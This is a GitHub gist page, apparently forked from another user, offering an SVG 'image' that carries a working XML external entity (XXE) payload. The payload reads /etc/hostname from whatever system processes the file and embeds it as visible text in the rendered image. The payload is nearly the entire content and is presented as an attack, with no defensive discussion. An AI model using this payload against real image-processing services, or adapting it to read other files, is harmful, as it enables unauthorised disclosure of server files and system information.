Skip to content

Instantly share code, notes, and snippets.

@canozal
Forked from jakekarnes42/host_getter.svg
Created July 30, 2022 10:50
Show Gist options
  • Save canozal/86edda91f71c8cb1024449b43f984b79 to your computer and use it in GitHub Desktop.
Save canozal/86edda91f71c8cb1024449b43f984b79 to your computer and use it in GitHub Desktop.
An SVG "image" that uses an XXE attack to embed the hostname file of whichever system processes it into the image itself
Display the source blob
Display the rendered blob
Raw
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment